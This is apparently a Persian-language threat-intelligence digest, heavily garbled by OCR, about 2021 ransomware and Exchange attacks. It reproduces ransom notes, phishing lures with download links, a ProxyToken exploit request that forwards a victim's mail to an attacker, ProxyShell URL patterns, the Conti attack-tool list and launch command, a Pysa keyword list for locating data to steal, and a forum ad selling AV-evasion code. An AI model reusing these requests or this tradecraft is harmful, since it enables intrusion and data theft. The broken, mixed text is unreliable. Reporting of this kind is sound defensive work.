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All your documents, databases, backups, and other critical files were encrypted.
Qur software used the AES cryptographic algorithm (you can find related information in Wikipedia).

Wh at It happened because of security problems on your server, and you cannot use any of these files anymore. The only
happened‘? way to recover your data is to buy a decryption key from us.

To do this, please send your all file size to the contacts below.

During a short period, you can
buy a decryption key with a

90% discount

E-mail: copy

Wallet: contact us copy

0 days 23:43:41

Right after payment, we will send you a specific decoding software that will decrypt all of yourfiles. If  The price depends on how soon you will
wou have not received the response within 24 hours, please contact us by e-mail contact us.

All your files will be deleted permanently in: 1day 23:43:41

Attention! What guarantees do you have?

| Interruption of encryption will result in file corruption! Do not try to recover files yourself. this Before payment, we can decrypt three files

- process can damage your data and recovery will become impossible. for free. The total file size should be less
than 5MB (before archiving), and the files

| Do not waste time trying to find the solution on the Internet. The longer you wait, the higher will should not contain any important

- become the decryption key price. infaormation (databases, backups, large
tables, etc.)

I Do not contact any intermediaries. They will buy the key from us and sell it to you at a higher
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Any attempts to restore your files with the thrid-party software will be fatal for your files!
Restore you data posible only buying private key from us.

There is only one way to get your files back:

contact us
®o01. OUTx Email
Tox ID: o Donottry to recover files yoursel. this process can
-~ : i ge your data and r very will il
hitpsfiutox org/ + Do not rename encrypted files.

¢ Email: contact@contipauper.com Do not waste time trying to find the solution on the Internet.

+ The longer you wait, the higher will become the decryption
key price

. Decryption of your files with the help of third parties may

cause increased price (they add their fee to our).

Tor Browser may be blocked in your country or corporate
Download Tor Browser - hitps /iwww torproject org/ and install it ¢ network. Use hitps://bridges.torproject.org or use Tor

Open link in Tor Browser - Browser over VPN.
hitp fizqafihtyShyz Thanks to the warning wallpaper provided by lockbit, it's
This link only works in Tor Browserl easy to use

Through a @ Tor Browser - recommended

&
<>
o
(]

.

-

Follow the instructions on this page
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Hello,

This message was written to you in order to notify, that we are currently experiencing serious
network problems and we have detected a DDoS attack on our servers coming from the your website
or a website that your company hosts (example.com). As a consequence, we are suffering financial
and reputational losses.

We have strong evidence and belief that your site was hacked and your website files were modified,
with the help of which the DDoS attack is currently taking place. It is strictly advised for you as a
website proprietor or as a person associated with this website take immediate action to fix this issue.

To fix this issue, you should immediately clean your website from malicious files that are used to
carry out the DDoS attack.

I have shared the log file with the recorded evidence that the attack is coming from example.com and
also detailed guidelines on how to safely deal with, find and clean up all malicious files manually in
order to eradicate the threat to our network.

Click on the link below to download DDos Attack evidence and follow the instructions to fix the
issue:

https://drive.google.com/uc?export=download&id=removed

Please be aware that failure to comply with the instructions above or/and if DDoS attacks associated
with example.com will not stop within the next 24 hour period upon receipt of this message, we will
be entitled to seek legal actions to resolve this issue.

If you will experience any difficulties tryving to solve the issue, please reply immediately with your
personal reference case number (included in the log report and instructions mentioned above) and I
will do my best to help you resolve this problem asap.

Austin Nguyen
intuit.com IT security team
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My name is Marquel.

Your website or a website that your organization hosts is infringing on a copyright protected images
owned by myself.

Check out this document with the URLs to my images you utilized at www.bleepingcomputer.com
and my earlier publication to get the proof of my copyrights.

Download it right now and check this out for yourself:

https://firebasestorage.googleapis.com/vo/b/files-d6e6c.appspot.com/o/download-
dlmagvbk3o.html?alt=media&token=dobi22e7-49bb-4c04-gb26-
d2364cab15f2&ID=381406677867196640

I do think you've deliberately violated my legal rights under 17 USC Sec. 101 et seq. and could
possibly be liable for statutory damage as high as $120,000 as set forth in Section 504 (c) (2) of the
Digital millennium copyright act ("DMCA?) therein.

This message is official notice. I demand the removal of the infringing materials mentioned above.
Take note as a service provider, the Digital Millennium Copyright Act requires you, to remove and
disable access to the infringing materials upon receipt of this particular letter. In case you don't stop
the utilization of the previously mentioned copyrighted materials a legal action will likely be
commenced against you.

I have a strong belief that utilization of the copyrighted materials mentioned above as allegedly
infringing is not permitted by the copyright proprietor, its agent, or the laws.

I swear, under penalty of perjury, that the information in this message is correct and that I am the
legal copyright proprietor or am certified to act on behalf of the proprietor of an exclusive right that
is allegedly infringed.

Best regards,

Marquel Lowe
08/17/2021
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else if (HttpProxyGlobals.ProtocolType == Protocol Type.Ecp)
{
it (EDiscoveryExport ToolProxyRequestHandler istDiscoverybuport ToolProxyRequest{httpLontext. Request))
{
handler = new EDiscoveryExport ToolProxyRequestHandler();
H

else if (BEResourc eﬁeq uestHandler,CanHan die{httpl ontext.Request))

{
handler = mew BEResourceRequestHandler();

else if (EcpProayRequestHandier.lsCrossForestDelegatedRequest{httpContext Request))

{
EcpProvyRequestHandler handler1 = new EcpProxyRequestHandler();
handler] sCrossForestDelegated = true:
handler = handler1;

3Tys Front End b diibls 3929 “/ecp” «wl (SecurityToken) (siuiel (553 E65 5l 45 o5k (5565 Cawlg>)s )5 (5i8g
)5l Jokuro &S (Jojlo g ECP y Exchange oyd (i (535 «Jl> ol b .a5(50 13519 Back End @ | cago jlyol
9505 (6135, ! (DelegatedAuthModule) (sl
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OO Y () Cawl <dlyys JlE HTTP 500 glas (43,5 Jled plKie o5 cuol "ECP canary” pb @ (iS5 pjlime /eCp
jaelcaddgn (chyal (ghy |y oY yuize aid) bl ois0 HTTP 500 (glas @ ymie a5 jgSie <Sud 3816 (Siuwlgs)y ST a3 40
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“In summary, when the front end sees the SecurityToken cookie, it knows that the back end alone is
responsible for authenticating this request. Meanwhile, the back end is completely unaware that it
needs to authenticate some incoming requests based upon the SecurityToken cookie since the
Delegated AuthModule is not loaded in installations that have not been configured to use the special
delegated authentication feature” - Zero-Day Initiative

Back lgis a5 1550 iS50 s3mlire | (SecurityToken) (iuiel ()Sg5 E99 51 ;595 <o Front End o5 olKie iols job @

6399 locwlgs)s cogw sl 51 Wels Back ENd «518b)> (el ()Se5 0 aog3 b .l canlgs)d g ol Jotune End
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HTTP/1.1 500 Internal Server Error

Cache—cuntrul private

Content-Typ apphcatwm']son charset=utf-§

Server: m crusnﬂ: =II5/1

request-id: ThOEFIFD- EF3S-dBEe-M:e-aeTEEh!--maEd

¥=CalculatedBETarget: mailserver.contoso

X-Cantent-Type-Options: nosniff

jsonerror: true

X-ECP-ERROR : S!Irstem. servicemodel. FaultException

®¥-mragInfo: mailserver

X-BEServer: mailserver

¥-ua-compatible: 1E=10

x-aspNet-version: 4.0.30319

set-Cookie: ASP.NET_SessionId=111e72d0-1E67-4a3a9-b37a-cfF0fl2edebld; path=/; secure; Httpﬂrﬂi
Set-Cookie: msExchEcpCanary=bOoDLnPHWU-PoSZMIRxACRDhAINKZtRInOwtkshtexmInuzaAHEQW -1 tngOrhFzEkSRK7aSpLNAS. ;
patht,a‘ecp SamesitesNone; secure
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495 olo )3 yogas (pl )d dbog o (Microsoft Corp) wadlwg,ole CaSyui Jowgs 64 ywiniie (siniel doliduogs Gwlwl »
oxid (yhiS Vo I V.0 kel Gamid (pl Wb g s (cCritical) ‘Sl jeSie (g pduiaml .l €i8)S )1)8 pgac Guyiwd 5>
g2 p2loe S0 gyl (gladgas pj pgad )l HbyS Exchange jopw pleo )3 ()15 Clus S0 @ 5L a2les 1)) sl

250 pinlal |y el s (gl 1 edlaiul s g

POST fecp/victim@contoso,/Ruleseditor/InboxRules.sve/Newobject

msExchEcpCanary=b0o0bLnPHwU- PnSZM3R14CRﬂhAJNthkIantkshtemenuanEquitnqﬂthzﬁksRk?aSpLNAS HTTR/1.1
Host: mail.contoso
user-agent: Mozilla/5.0 (windows N7 10.0; winf4; x64) applewebkit/537.36 (KHTML, 1ike Gecko)
chrome/88.0.4324.190 safari/537.36
accept-encoding: gzip, deflate
Accept: *j¥
Connection: close
Cookie: SecurityTokensx
Content-Type: application/json; charsetsutf-8
Content-Length: 328

"properties”: {"RedirectTo": fg"nahldentjty attacker@cnntosn" ”D1sp1ayuame attackefﬂ
"address": "attacker@cuntcso Addressur1ﬁ1n 3, RecipientF1ag o, Ruut1anf e'’: "sMTP",
“suTPAddress”: "attacker@contoso” ¥, "name “Test" & StopPruCESSIngRu1e5 : trua}
sl (Global) (gwlw (53,5 o phuoly 51 50 45 cwl sxis o)Ll Zero-Day Initiative Sty (glocwn 51 o 3

G (G5 2o «(6)l90 iz )3 3950 olg> wolde @) Jaaal Yoyl aclgd szl 4 ymie oS WIS(50 puass EXxchange jgw
DI 090yl g (oLl

aw | iiel s ol 1 o3laiwleguw cagz alo gl Lol 0 yikiie (egac g 4 ProxyToken (s el sl az)S|
o3laiuwlsguw Cagz (Slghd (gl GG wle 13y0 YA )5 (siniel lid=e I (S0 51 J&5 @ S (glaigS @ .l saud (i)l;S 4 iS dian

ol 0045 83l (il e (ol

; % Rich Warren
-

Most of the in the wild exploit attempts | have seen for
this are from August 10th

Cookie: =739f3
Cookie:
Cook1ie:
Cookie:
Cook1ie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:
Cookie:

210810-023049.pcap:
210810-023049.pcap:
210810-023049 .pcap:
210810-@75051.pcap:
210810-075051.pcap:
210810-075051.pcap:
210810-@75051.pcap:
210810-082403.pcap:
210810-082403.pcap:
210810-082403.pcap:
210810-0824@3.pcap:
210810-091803.pcap:
210810-091803.pcap:
210810-091803.pcap:
21@§1@—@918®3.pcap:

Cumulative Up- © pPowge (s(Slw)jgy g (Shiniel (glod>Vuol U“)DT uad sExchange W 9w huol) dgds0 duogs
Proxy- ¢ ProxyShell ,ua5 Exchange (ol (glocesis p (site Slas 3555 51 ke ¢panl cags 1y - CU HLaisl @ - date

3 )8 395 caglgl > Token
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‘GPU )5 I)a1 JB (glo)lj8lay
oYU dule 53> (g2395

Graphic Processing Unit) LS Gibjlay 3219” 59y 2 bzl 2B (518142 (655152 ) (5 pmlw plazlge GinhyS 5l o)y
292034 2 yho SaedlST Yo )3 55 WS T (539 pional 6355 13> Gig) ol JIo (1l b.3)ls colss (GPU jlaisl « -

Oz 033)5 4gd (5)9e2 Sl GBSl (6200]) Capde (Sho g S aSud uwdige CSb ()5 b &S GHS ol 5
Ll 03 &l GPU (g9) po ol (B slo)lidlan

L3 Uivgyd (gl loySop (695aS VI o )3 Wylidla jl E¢5 ¢l (POC ,Laisl 4 - Proof-of-Concept) ,Seobil digas ol 1V )
A3 Ui |y OVas jl glasdyaivg g 232 2bw 4 (gl loyze Uuul)f (5o job @y dS A 631>

L 3950 Ledl (T )3 a5 3350 (SSuiST shel L_g/jul.ul gad (09,0 dlgiiin (s 9Sio ngilhf)UU JERLINROUWIERE SR
Gy (] )3 634dgy8 . Bl 50 (850 S50 i RAM (ingy 4 pladl a5 (Siuiel &Vgame o 303 51 Oyixe 35 (ol (6,510
85wl Oy LsL(D)S le)_?l 9 0).\93 LS')'.’ GPU 4b.9l.’>).9l.))| ()'59) Offl JN 03)5 ‘o\l_c] 9 831> djl)l 39> Ui’S) )’l b.lSuL’)._uosJ bss

D950

'\5)9|o.;_).§ YL @ Yoo dsuud aS Windows d,oLc‘aMMu L L}.,)Ls‘bol_ihus ©9) 2 ]).?I Q ).\@ ‘)]}él,)q O.gl aS 62 Olgic 8;.1;.) ol
02l 93wl GPU dlas jl Galizo (glooas1a,0 53 35 (ghyal (slp (559028 OpenCL .xuibby o iS5 (il |, OpenCL

ol 055 UMJLQ)T)J) b&.@l; G5 (69) ) A5 138100 (ol 6asmngd S 0add )53 iz Cauny

Intel UHD 620/630 -
Radeon RX 5700 .
GeForce GTX 740M/GTX 1650 -

08.08.2021 [ Hosoe NIRRT

Sell PoC of technigue that avoid AV detects from RAM scanning.
It allocates address space in GPU memory buffer, inserts and executes code from there,

Works only in Windows workstations that supports OpenCL 2.0 and higher!

. Tested on: UHD 620, UHD 630, Radeon RX 5700, GeForce GTX 740M, GeForce GTX 1650.

Peructpauma:

Coobuyerus: )
Peakuuu: Any proofs and checks. Can work with guarantor.
4 Telegram contact is under my profile pic.

Serious people only.

MowneaHee pegakTuposanue: 08,08.2021
LD ¥Kanoba oyLike +Uwrata <3 OTeET
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Blas & Soldl digas (59,8 1 3990 45 dgad plel 635dg)d g2y I ) Aoy diad 9> d9d> X piiie 130 VY )3 el ¢l
Sl o Cob )3z 9 03)S (g)lys | o GwS 4z &5 ¢l woleo (3l 3)90 )3 5L5j2 u (59 - Cawl 03 (lazlge jl 09)S Sy

Cawl 03135 Sl e

- GPU p (itae LINUX camd eaSeg)y (sh dw (i POC S5 - JellyFish « o)Ll b jgSie (59545 WU (sbacl jl o5 Sy

Gl @bl .)9?9},}31\3.5 GPU y (e )38l a5 5,5 (Lliws ,bl>

abhsl> L_gba'é ) GPU hwy I) U)_D..n ASLS)JJLJ LS')‘?‘ O'S.a| CPU ) ]).?l Lng S} L)ii)9) UJ| ‘olﬁﬁm)'] b_s'z>9).§ FUESY D D
DAl ailgs i S35 03kl )3 1) ST (ol edlasiwl gy 45 Aledls sacg LQ)TiLcub S (0 polyd

vx-underground

Recently an unknown individual sold a malware
technique to a group of Threat Actors.

This malcode allowed binaries to be executed by the
GPU, and in GPU memory address space, rather the
CPUs.

We will demonstrate this technique soon.

5 Keylogger <o jl Sl glodigas jLixil 4 @la8l Yold (1o 53 3539 0315 51,8 (Luw)p 3590 |y JellyFish cuSeg, o5 (Sildise

939y 03,5 Windows Jolepimn (sl GPU 2 (5o 95 ol jl (uoyices glzgys 2

3035 il g el glasie Yol LT (ivg) 03945 Lesl g 63,5 3, 1) JellyFish )8l b bls)l 6563, uas )li8la sxidg)d
s (sSie (Userspace) y)ls (glas

slo0b9) 5| E95 0l aine Lol sl (63332 Tiamas 0321 GPU y» (sitnn 1331 45 32350 ol JellyFish ey 4 e)lisl o ol b
Ll 6aib @)y G Jw Cuire d9ds das

GPU a5 33985 gylgic waml (wyiwd P 5 )5 o Sid a5 gldlio )3 Sygugu ;> LualS oBuils (lidmos YoV Jw >
S 0)u5d g5 abdls 5 1) 6aub 63,600 (claaulS ¢ 3L Keylogger <G ¢Ujae ailgi e

http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf

GPU (VU (Sl )38 (cblie j1 33519550 5158150 B xiwggs 45 3539 0313 (4L y15 dllie )3 Yolo Jlw yd (laime jui yisiw
LS aalaiwl «wwl CPU )'] s yun Hbuwo as @dan lem)lijj,a) Las (SR g

https://ieeexplore.ieee.org/document/5665801
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Conti ;812 L oslaiwlsguw
ProxyShell ;I

All your files are .
currently encrypted by
CONTI strain.

oylojlu aSuid 4y g 03,5 So |) Exchange sleygyw ProxyShell (slos piscawl jl oslatwlegw b Conti )l8laL 0g)S

39850 G 1 (68wl dw dcgazo 4 ProxyShell

cuwl (RCE jLaisl 4 - Remote Code Execution) “ygs el jl &ygu0 a1 35 (ghal” €95 51 ame a5 CVE-2021-34473
i dbog adlngySolo baugi 1Fee 103 PP )5 g

VFoo 55 PV )5 55 (g ol ¢l .l (Elevation of Privilege) “sjliel gi8)3" €43 1 a5 CVE-2021-34523
A dbog Cdlng,Solo Jowgs

g3l V) 5 g el (Security Feature Bypass) ‘ isiel (gl 65 aw jl jgue” Eg5 5l oo a5 CVE-2021-31207
b abog CaslugySole bauwg 1Foo

loolo )3 .3 Lindl Yol ,J,g)gT 5 Pwn20wn So alilue O2 )3 il Fme SO bawgs HgSie LS)JAJWUT aw wlyj>
LockFile )liélab )Ll g (Backdoor) s slow)s Webshell cuas (sl ProxyShell slos il jl glaslge yusl
led,S oslatiuwl

L lawl )y Glazlge a5 35u8L)s Lonti (laslge jusl GVas 51 S Jalsd 51w j5 (Sophos Ltd) (wedgw Sy ¢lééms
l03)S (51)8 aSuid @) 3985 ¢ Exchange (slo)gyw o 4 pladl ProxyShell slos il jl oslatiwlsguw

J (S103S 0nid gl (5)900> by (LBl (63,00]) Cope (Sye g S aSud wdige S (5) e b 45 y)lS ol )
Ll 6ad Al Gwgdgw (Hlabme (gloaisl

§5wo3gll s 9 )l38l0)5 3911s (yaold (gly2l (gl Webshell sloas jl sl jlazlgo (Exchange slogyw 4 wias yiST )5
‘():g)' S ) Cawl 024 (N6 (_,S)L) 4 Conti loiol) azuliS )5 a5 jghiled « wgdgw (SlEExS P 58 @3S 5o oslaiwl Hopw
S e 2l ) 395 Jgeme (@SS ey a2 35,0550 )liSl )3 1) jgpw JolS J)iS olazlge o5 elSio

https://newsroom.shabakeh.net/22539/translated-conti-playbook-insight-into-attacks.html
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LS50 o3latiwl Cobalt Strike 9 AnyDesk (jazwed )il iz jl dooliws 4 )93

3950 630Lire 63905 83kl o) j alas eyl Jolpe 51 S ,o 55 Conti jljslab a5 (oleyll 5l 5wgd ) poad )

ContiR Tool
Initial Access Execution inlege Defense Evasion Higizri Discovery L
Escalation Access Movement
Exploit FortiGate| PowerShell - Conti
Firewall scripts PowerUp Process Hacker Mimikatz Routerscan psexec Ransorware
ngtzg)hh:;mg psexec SharpUp Gpeditmsc K;?;;:(:e;st Adfind wmic rclone
ProxyShell . Set-Mp wmic NTDS.dit Data exfiltration
exploit wImie BeRoot Preference dump nitast Atera to Mega.io
Metasploit PrivEsc Gmer wWmicLSASS Windowsinat Anydesk
dump commands
Cobalt Strike FullPowers PCHunter Metasploit netscan Splashtop
TrendMicro Cobalt Strike SharpView Remote Utilities
Remover
BitDefender PawerViewer Invoke-
Uninsall Tool SMBAutoBrute
Sophos_remaval Invoke- CVE-2021-34527
scripts UserHunter
PowerTool Metasploit CVE-2017-0144

dlolw Su) MEGA )3 1) Lg5T 9 03,5 iy |y oodls S )3 )hydiwl jl Qo ¢lazlge ods0 lid (wodguw lidmo (suw)y

S50y 2 @8l 9936 38 j9pm S (59) 2 s preld Sl e3laial b T gy @y I o 23,5 (5)I5)L (B Sl
L3900 a5 4 hatie (gloolSiuns (glaoJold

start C:\x64.exe -m -net -size 18 -nomutex -p \\[computer Active Directory name]\C

$

Wl 839 dlas (il pladl ) (laslge B g Cacyuw AiS(s0 diunz |y (ol 3)g0 ¢l dzol a5 83905 el 395 (0,135 55 Jwgdgw
69 1) Conti lislal laslge o) @iy i 51 Guy i plool cuclw FA 6y Lgi5 015 Coblyi | ey B aulgl 3985 a5 (6 0b 4
39305 )18 dlas 390 ,359.005 ) (69 p 1) SHadl (gloddbgy )3 6addh 6,53 (sloJald (haized .333)F Cuad aSudb Lglibo&iwé plaj

ez 9 CobaltStrike Webshell g3 33315 jh3 oslatiuwl 3)50 aSuib 5> 1) iy ©)d i Jslas Conti glaslge 3ga5 Jgb 5>
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D350 )1y Ba 390 1)

https://Exchange-server/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=
autodiscover/autodiscover.json%3F@foo.com
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https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-

ransomware-attacks/
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Yesterday at 16:31 m & [ #1

Idon'tgivea  k about karma or not, | won't live long, but | will have time to live like a

human)
OF https://www.sendspace.com/file/
dyadka0220
(L3) cache

babuk, babYk, babak - thank the admin and uncle)

User

registration: 06/18/2020
Posts: 241
Reactions: 48 Last edited: Yesterday at 17:55

Password sha256 from: Enotik gargle, gargle your p1 y)

L Complaint 1 like +Quote <5 Answer

O petroglyph, Bidon, X-DDoS and & more
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dyadka0220
(L3) cache

MonbzoBatens

Permctpauus:  18.06.2020
Coobuenus: 242
Peakuun: 48

Buepa B 16:31 & [ #

Kapma nam HeT Noxyro y>Ke, XUTb MHE el He 0/ro, HO MOXWTh Kak Ye/loBeK YCrero)
https://www.sendspace.com/file,

babuk, babYk, babak - cnaBa agmuHy un aagbke )

Maponb sha256 oT: EHOTMK NONOCKYH, NOAOCKAeT CBOW NUCHOH)

MocneaHee pepakTupoeanHwe: Buepa B 17:55

L Xanoba jLike +LUutata <5 Otser

O petroglyph, Bidon, X-DDoS v ewg 8
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Home Share Wiew v e
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b Giliiciasaass Name Date modified Type Size
B Desktop esxi 9/3/2021 10:01 AM File folder
nas 9/3/2021 10:.01 AM File folder
windows 9/3/2021 10:01 AM File folder
3items

035iS3g3 S0 H5 @ &S b Sy g (Decryptor) LiSie, (Encryptor) )liSie, (sungideliy gloas Windows daisgy >

ol 034 0313 )18 (awsbi oo (Private and public key generator) (segac g (ogas (gloiuls

| v windows - 0 ®
Howe  Shae  Wiew [7]

* This PC * Datad (E) * Geflox * windows * v J Searth wirdows
Mai=g Dale mockfie Tvpi

Deativk
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Dhecryptor
Fos e
Ies

W keygenoe
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& kcurve25519 - Notepad2 = (] X

File Edit View Settings 2
DE@HE| |t Bam|lALlEae e 3w
1 €ERIGeAeb L0pOCEIR0 " X1 UBGr-&R } eI»5B0U

‘Ln1:1 Col1 Sel0 32 bytes ANSI CR+LF INS Default”

L 6%iaS 53 09)S ¢yal (sl jI 2 .Cuunl 034D (63232 05)F Sl 9 09)S (ibLig)d ) yrio «()lBIRL 09)S al (el (lpo DB
93 w50 5 Ll 0 SLET (yiSGaly Guady 6)13] @ dlas I Guo GBS (ol aS 63945 (4lgic Bleeping Computer colw
ol @bl 1y 63w LAS)AA) o3l (segac )Ll Jad clbacl Rl e pe)Sle 09)5 ol Glel glacl ) X 995ie das =2
Babuk Locker has a sordid and public history involving betrayal and backstabbing that led to the group
splintering.

BleepingComputer has learned from one of the Babuk ransomware gang members that the group
splintered after the attack on the Washinton DC's Metropolitan Police Department (MPD).

After the attack, the 'Admin’ allegedly wanted to leak the MPD data for publicity, while the other gang
members were against it.

"We're not good guys, but even for us it was too much. )" - Babuk threat actor
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Babuk Ransomware) Babuk s15jle (gloasly | (S «nldlis] ¢l 1345 (50 )3 j 2 (e .3 3y Babuk V2 s

8,8 aslaiwl 3y0 (g)l38lab las (651351 ol (gl (6,505 69,5 Jawgi g A (B Jls Syl colw Sy > (Builder
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TO SAFELY OPEN THE DOCUMENT,
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Info and software
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If you have Fortinet VPN, please go force reset all your user’s passwords. Also, it’s probably not a
bad idea to check logs and potentially spin up an IR or two

— pancak3 (@pancak3lullz) September 7, 2021
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“‘Detected a potential security risk and has not extended the transition to [sitename]. Updating a security
certificate may allow this connection to succeed. NET:ERR_CERT_OUT_OF_DATE.”
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NET:ERR_CERT_QUT_OF _DATE

€ T & Notsecure | todosobretenis.com

Security Certificate is out of date

Detected a potential security risk and has not extended the transition to todosobretenis.com
Updating a security certificate may allow this connection to succeed.,
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QOrganize Include in library ~ Share with ~ New folder = - j;] 6&
" Favorites Name Date modified Type Size
a TeamViewer.exe 1/12/2010 6:38 PM  Application 4,274 KB
.l Libraries &) TeamViewer.ini 9/20/2021 227 PM  Configuration setti... 1KB
% Teamviewer_Resource_ja.dll 1/12/2010 6:44 PM Application extens... 594 KB
4% Homegroup & TV.dil 9/14/2021 9:36 AM  Application extens... 316 KB
f vpn.cab 1/1/2021 5.00 AM Cabinet File 70KB
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Your documents, photos, To decrypt your files you need to Follow the instructions below. But

databases and other important files buy our special software - General- remember that you do not have

encrypted Decryptor much time
General-Decryptor price
the price is for all PCs of your infected network

You have 2 days, 23:38:14 Current price 244355 XMR
* | you do not pay on time, the price will be doubled *:2,000,000.U50
* Time ends on Jul 5, 1415:38 After time ends 48871 XMR
=10,000,000 UsD
Monero address: * XMR will be recalculated in 5 hours with an actual rate
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static void handleCharacters(Context *contex

const xmlChar *
int length)

curl_easy_setopt(conn, CURLOPT_FOLLOWLOCATION,

CURLE_OK) {
if (context->addTitle)
context->t .append((char *)chars, length);

, "Failed to set redirect option [%s]\n",

1, CURLOPT_WR

t *context =

return
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2b eBdyy pac )90 5> suidh iy Olelbl (segac )Ll 4 Lib)y8 23395 (093 3)90

9 92ims Cags PowerShell con,Swl 5 jl Pysa (o)li81aL 69,3 «losgas yinitio Caxiol 059> (laise usl a5 é)ljS 53
S 03 by (plwlid (gl gl)s 1o Gingy jobie 4 CauySwwl ¢l (33163, o3latwl Bad 3)90 jg,mw (gloosls 2l
Qb anly cdlao 9> (SLQ’)L.:‘M L (_g] dw9) )fl Cawl 631 b_>|)b ))b casllo ol> (_ngﬁJb) L lp(JT pU a5 olSsuwd

iS50 (6N Cal p2lge S i 45 (63505 gy @ )95 oy jl | ddigy Slehald G 3)90 CaySawl

Ll dad))l laslge (glp (SleMbl dz a5 3) (uis 3¢5 Wimd T JWs @ o) Swl a5 (¢3S dalS WY Gulwlp
Slebl (b SleWbl (uwplus 35k oSy amd ledbl b Gl lodald JLss 4 caySuwl 39,50 )il a5 jghiles
Jlo 0l b sl aollghl @) bgye (slohlé g (selaiz] (el (slo)ladd «(o2uii]s lelbl (3o (slopyd qiumun 4 399
9> &S (R 3idlo Al pde S (sl Cal (S0 (A GI )90 )5 &S Wi 15 (550 (GlS BLalS JLs @ el

A )9 B lepe” gy S o3y A i S ugliz” el
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Ll 004 (LS ) Jeaz 5 i 3T JW5d @ Loty Swl a5 (6305 dalS W JolS Cuwygd

\Foo jo0 | wlelbl (g)9lid cuyiol A nlidlo

941 confident Info RRHH
1040 Crime insider saving
1099 claim Insurance scans
8822 Terror investigation sec
9465 Confidential*Disclosure | IRS secret
401K contact ITIN security
4506-T contr K-1 studen
ABRH CPF letter seed
Audit CRH List Signed
Addres Transact Login sin
agreem DDRH mail s0C
Agreement*Disclosure | Demog NDA SS#
ARH Detail Numb SS5-4
Assignment Disclosure*Agreement | Partn SSA
balanc Disclosure*Confidential | passport SSN
bank DRH passwd Staf
Bank*Statement emplo password statement
Benef Enrol pay Statement*Bank
billing federal payment SWIFT
budget Finan payroll tax
bureau finance person Taxpayer
Brok Form Phone unclassified
card fraud privacy Vend
cash government privat W-2
CDA hidden pwd w-4
checking hir Recursos*Humanos | W-7
clandestine HR report W-8BEN
compilation Human Resour w-9
compromate i-9 resurses*human W-9s
concealed illegal RHO

confid important routing
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o313 o5 (s )90 43 3 Jletiol 4 plazlee 1) Juey505 )55 @) ilie (G305 ©lalS (ol B> j9hio 4y loadgy U s
B 22350 Ui Ladd ) Aiud (1031 Eg3 42 (g9zim )3 (5)¥IRL plezles &5 vl ]S (Jlo al L S0 Yo )
gl )3 33,50 (mol> (Slold JLis @ aSuid 4y 3985 1 g 45 o) (gle59a5 iS5 Pysa . 2iiSie (6351 olsb)S 1 el weS
olsic jgel o ¢yl 3 .3,)5 G 1) (5812 L 09)S ¢yl Gibjgel il jl iy Conti jl eadilaz slacl jl G2 o)L= olo
394 gacins ) (63ulS GlalS (ggls (slwesls Windows ,> Domain Controller J,i68 o397 cuws a3 jl Gug aboldVy 4 s

cyber

policy
insurance
endorsement
supplementary
underwriting
terms

bank

2020

2021
Statement

) lelbl jl LB cblas ¢ cunl pgo Hlislal (og)S (ly jaiz lelbl Céuw o5 o350 olid (S ol oS HLS)
Ll Hldy955 (glesag ol o lojlw
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LockFile )l;8l2b (gloais,s
el (gloiuwun (53) )93 B (5 135} I

g d)l )3 Microsoft Exchange (slyg,w ProxyShell (sle g il ads Jis 4 o5 cuwl (g3032 )l38lab LockFile

3> dbog (9L Bl 4 3985 (glp ProxyShell (_gLCDLg)J_\_)wnT ;I LockFile H8IEL a5 duwy 50 B @ AL biio olo yu )
pledl dialy 1S (58,5 L] sl (gl PetitPotam NTLM dlas Guaw g 33550 o3laiwl Microsoft Exchange (glo)gyw

SO0

(slellio 5 g 23lesls )5 Julos 3,90 G55 g0 @ 1y LOCKFile )lslzl «slalia 5 (Sophos, Ltd) (ugdgw plitioue 15!
0Ll Lol o itine 9 B> gloy)Saly (53)5 3 (2 she ¥Rl 95 8920 9 R (5)138550) poga 53 1) T 33z 3%,

ST AT

dlio damy3 0333)5 dugs (6)g0e sl (LBl (g3uml) Coyde jSye g S aSud swdige S () b aS (in)liS ¢l )

Ll 6ad &)l 9530

B30 LS Co 3)90 Gaes job 1) ) (g3lS (gloaish Ao ol

bwgs ) gl 0l 0340l "Dgliie (6)l3S50)" 45 gy Wl NS (5)1855e) b Jalb S jl el 17 o LockFile jlslzl
GxS9k2 el 9 GiBlas (glo)Sal) (5 hwgs Sl (Rlelid jl ©gliio (6)13S)e) . Cawl o3 LS (yugdgu liione
anl o 0245 (6)135)0) Gliol a4 s Hlawny ()Ll a5 1 0id (513550 i 1)) 30

abdles 29,5/ (639)9 il I (Jald Sy (513550, (sl LockFile l3812L Maze o WastedLicker lo)ljélal ailen
)3 dhwlg o 1) 83 8,253 Sliwl 30350 85l l33l2L 4 SLuSS (ol .35 sslaswel (Memory Mapped Input/Output)
0 )2 )PIRL s jausis BB iblas (sg)gld buwgs Sund 529)5/(639)9 45 20T j 1A WIS (6)1iS)0) akibl>
gy S 529)2/(639)9 J8IA> L 1) 03 (6)13550) Slinel B 35S (50 yoze |y Jolepimn (g,
OF ausils pae @ y2ie ol ol 9 9135 (C2) Lo3leys 9 JyiS (sloygpw @ JLadl 4y (55 bLS)I 6)hd she ldlal o2l
29850 @@ (59) p 034 el (isiel (sloySl) )

9 S50 adLol Jockfile Bguy oyl 4 g 3o 50 pb juss S2gS Wgy> @ 1) 004 (613550, sbusl LOCKFile ¢yl pogle  +
.l LockBit 2.0 ,13812b @ a4 jLuw T (HTA Ransome Note) HTA (5)Sab ducbl
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b0 1) SHA-256 e b LockFile jlislzb jl (glaigas y (iixe ¢ gdguw laba=s
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce
Cawl '_ASL))) d.:ls ») gi.u] ) d.;ls U"] S lbasuino

https://www.virustotal.com/gui/file/bf315c9c064b887ee3276e1342d43637d8c0e067260946db-
45942f39b970d7ce/detection

1> Gido dw g U aw ) pgbal ilas a5 b Ldles dzgio cnlad ()50 y5 )T )3 1) digad ¢l Lad )|

https://ghidra-sre.org/

FUM_1400d7182
- §  FUN_1400d71cD

= [E57¥ LodkFileExe
Headers
OPEN
) ase
= JTSTC

O3 a (sisiol Jguame 45 (6920 4y 0ub 0315 JSb yuRS e 9 (g3 UPX Lungi )b 95 (6l b o5 swy 0 yBa5
2425 CLSE g OPEN @ UPX1 g UPX0 )l shiol (slogsinin 0b epiza 392 3olgixs ) (sbimmal Jalox ey 508 colSiaw (59, »2
